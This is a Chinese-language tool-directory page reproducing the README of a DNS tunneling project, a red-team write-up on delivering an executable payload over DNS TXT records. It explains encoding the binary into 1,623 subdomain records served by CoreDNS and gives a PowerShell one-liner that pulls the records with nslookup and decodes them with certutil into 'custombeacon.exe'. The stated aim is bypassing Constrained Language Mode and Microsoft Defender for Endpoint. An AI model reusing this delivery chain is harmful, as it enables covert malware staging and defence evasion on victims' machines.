Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNS_Tunneling — 使用PowerShell和Nslookup的DNS隧道工具,通过DNS TXT/MX记录泄露数据和传递载荷,绕过受限语言模式和端点防御。 | Kitploit
工具/GitHubGitHub/octoberfest7/dns_tunneling
Payload生成数据泄露渗透测试命令与控制红队DNS 分析
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

使用PowerShell和Nslookup的DNS隧道工具,通过DNS TXT/MX记录泄露数据和传递载荷,绕过受限语言模式和端点防御。

查看仓库
23237314年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

介绍

受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发,结合尝试绕过 Microsoft Defender for Endpoint 的任务目标,我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己,尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本(例如 Windows 10+、Server 2019+),但正如你稍后所见,较低版本也可能实现。

背景

什么是 DNS 隧道?

DNS 隧道是一项历史悠久的技术,被多种攻击者使用。简单来说,它利用 DNS 协议作为数据渗透/反渗透的手段或作为 C2 通信通道。有许多博客文章可供参考,以获取更多关于此主题的信息。

由于这是一项古老且广为人知的技术,许多组织已经部署了检测方法来试图阻止它。

DNS 隧道历史上首选的 DNS 记录类型是 TXT。这是因为 TXT 记录可以比其他记录存储更多数据,并且它们区分大小写,而其他记录则不然,这在我们开始讨论编码时会产生影响。

什么是受限语言模式?

受限语言模式是 PowerShell 的一种限制性语言模式,大大降低了 PowerShell 的功能和允许的操作。简而言之,.NET、COM 对象以及攻击者常用的如 (new-object net.webclient).downloadstring 等都无法使用。此链接 提供了更多信息。组织会将其作为攻击面缩减规则的一部分,对普通用户强制执行此策略。这实际上使得我们作为攻击者的工作更加困难。

DNS 记录是什么样的?

大多数人对 DNS 应该至少有所了解,比如使用 Nslookup 等工具。但基本而言,客户端发送查询,DNS 服务器返回该查询的答案。DNS 记录有多种类型:CNAME、A、AAAA、TXT、MX 和 NS 等等。每条记录可以存储和返回不同的信息。这些记录在区域文件中配置,由 DNS 服务器提供服务。

此处提供了一个示例区域文件 链接:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

如果查询example.com的NS记录,查询结果会返回ns1.p30.dynect.net、ns2.p30.dynect.net、ns3.p30.dynect.net和ns4.p30.dynect.net。

# 研究

## 域名注册

在开始之前,我们需要简要讨论如何设置DNS记录,使其指向我们控制并运行DNS服务器的IP。如下所示,我购买了一个域名,并设置了DNS记录,将子域名“dns”指向子域名“ns1”,而“ns1”被分配了服务器的公网IP。

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

这意味着所有针对“dns.edu....com”的查询都会被定向到“ns1.edu....com”,而后者被分配了IP 3..86。我们将在此IP上设置DNS服务器来提供我们的记录。稍后还会用到这一点。

## 寻找客户端工具

我的探索始于一次简单的谷歌搜索“powershell dns module”,结果返回了[这个](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps)链接。其中特别令人感兴趣的是Resolve-DnsName命令。它看起来基本上是众所周知的Nslookup.exe二进制文件的PowerShell实现。注意,可以请求特定类型的记录:

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

好的,我们有了一个能够进行DNS查询并返回答案的PowerShell模块。它能在受限语言模式(CLM)下工作吗?答案是有点复杂。

如下所示,如果我打开一个新的PowerShell窗口,运行Resolve-DnsName,然后将PowerShell置于CLM模式(并通过简单的::WriteLine调用测试),再运行Resolve-DnsName,它会正常工作:

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

但是,如果我打开一个新的PowerShell窗口,立即将其置于CLM模式,然后尝试运行Resolve-DnsName,它就会失败:

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

似乎如果一个模块之前已经加载过,在CLM强制生效后它仍然能够运行,但CLM会阻止尚未加载的模块加载。考虑到目标环境中CLM默认对用户强制启用(并且不知道DnsClient是否已被预加载或属于其中之一),我决定此时放弃Resolve-DnsName,转而使用老牌的Nslookup.exe。

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exe是IT工具包中的主力,是用于合法目的的众所周知二进制文件。即使在担心应用程序白名单的环境中,它被允许执行的可能性也很大。

Nslookup会返回与Resolve-DnsName查询类似的信息,只是到时候我们需要稍微不同地处理它。

## 将可执行文件转换为DNS记录?

好的,我们有了在受害者计算机上进行DNS查询的方法。那么,如何将我们的有效载荷以Nslookup可以检索的格式提供呢?

可执行文件当然是二进制文件,这意味着它们不可读。因此,必须将数据转换为可以放入DNS记录且Nslookup等工具可以恢复的格式。我们有很多编码选项,但主要考虑因素是:受害者机器能否仅使用本机Windows工具和在CLM中可用的功能进行解码?Base64是显而易见的常用答案。

使用Base64,我们将可执行文件转换为一个巨大的可读字符串,然后可以将其拆分成多个DNS记录,并使用Nslookup恢复。在客户端,可以使用著名的LOLBAS certutil.exe将聚合的DNS记录从Base64解码回二进制格式。

这就需要我们更多地讨论DNS记录类型。每种记录类型以特定格式存储特定信息。例如,A记录存储并返回IPV4地址(111.111.111.111)。AAAA记录返回IPV6地址,MX和NS记录返回域名,而TXT记录可以返回255个字符长的字符串。如前所述,由于记录长度和大小写敏感性,TXT记录一直是攻击者的明显选择,因为需要的记录数量更少,并且与Base64等编码兼容。

让我们看看这是什么样子。

在我们的Kali虚拟机上,我们可以对可执行文件进行Base64编码。注意使用-w 0开关,这将删除所有换行符,从而留下一行Base64文本:

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

查看文件可以看到Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

我们现在需要将这个Base64编码的文件转换为由DNS服务器服务的DNS TXT记录。

在这个过程中我学到了几件事,在继续之前快速总结一下:

**1.** 当单个DNS查询返回多个记录时,无法保证它们会按“顺序”返回。这对我们的目的至关重要,因为我们需要从所有TXT记录中重新组合一个文件,如果顺序乱了,就无法工作。

**2.** 重复记录不会在查询中返回。例如,在我们的区域文件中如果有3个TXT记录,其中2个包含相同的信息,那么当我们查询该域名的TXT记录时,只会返回2个记录,因为只有唯一的记录会被返回。即使不考虑顺序问题,如果我们有例如大段的“AAAAA”(就像我们在Base64编码的有效载荷中那样),需要填充多个TXT记录,那么当我们查询域名的TXT记录时,即使区域文件中有多个“A”填满的TXT记录,也只会返回一个。

考虑到这些点,我们必须确保每个DNS查询只返回一个TXT记录。于是引入子域名。就像我们将“dns.edu...com”注册为“edu....com”的子域名一样,我们可以为更进一步的子域名(例如1.dns.edu....com)提供记录。我们可以根据需要创建任意多的子域名来提供所有TXT记录。

让我们看看我们的Base64编码有效载荷:

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

如前所述,每个TXT记录可以容纳255个字符。将413,696除以255,四舍五入后得到1,623。这是大量的TXT记录(相应地也是大量的子域名)。但这是一个起点。

我写了一个Python3脚本来读取Base64编码的有效载荷并创建区域文件:

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

该脚本将打开我们的Base64编码有效载荷(comp.txt),并使用“chunkstring”函数(来自Stack Overflow的一篇帖子)将文件分割成255个字符的块,然后用这些块创建TXT记录。注意,这里的IP是伪造/随机的,并不必要。

查看生成的区域文件,我们可以看到我们的TXT记录:

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

注意每个TXT记录最左边的数字;这表示子域名。

创建好区域文件后,我们需要将其复制到DNS服务器并服务之。我使用了[CoreDNS](https://github.com/coredns/coredns)来实现:

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

这表明我正在端口53上接受对dns.edu....com的查询。在Corefile中,我指定了上一步创建的区域文件来提供记录。为了测试记录是否有效,我们将对1.dns.edu....com的TXT记录运行nslookup:

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

得到我们的TXT记录!

## 攻击!

我们现在需要运行nslookup……1623次。这不太理想,但暂时我们只能这么做。我们将使用以下PowerShell单行脚本为每个子域名运行nslookup,然后只选择TXT记录($temp[5]),并逐步构建$results。最后$results被写入./temp.txt,再使用certutil将temp.txt解码为custombeacon.exe。```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

执行我们的命令后,我们在 CoreDNS 服务器上看到了所有 DNS 请求:

image

而在客户端上,我们看到 Certutil 命令执行成功:

image

我们的输出长度与原始 EXE 文件匹配(并且它成功运行)——太棒了!

image

然而我们遇到了一个问题。让我们查看评估实验室机器的 MDE 仪表板:

image

回到绘图板

这里有 5 个警报需要我们处理(忽略最顶部的两个“可疑使用 certutil.exe 解码可执行文件”,因为这是测试期间两次运行同一攻击链产生的重复项)。

下载工具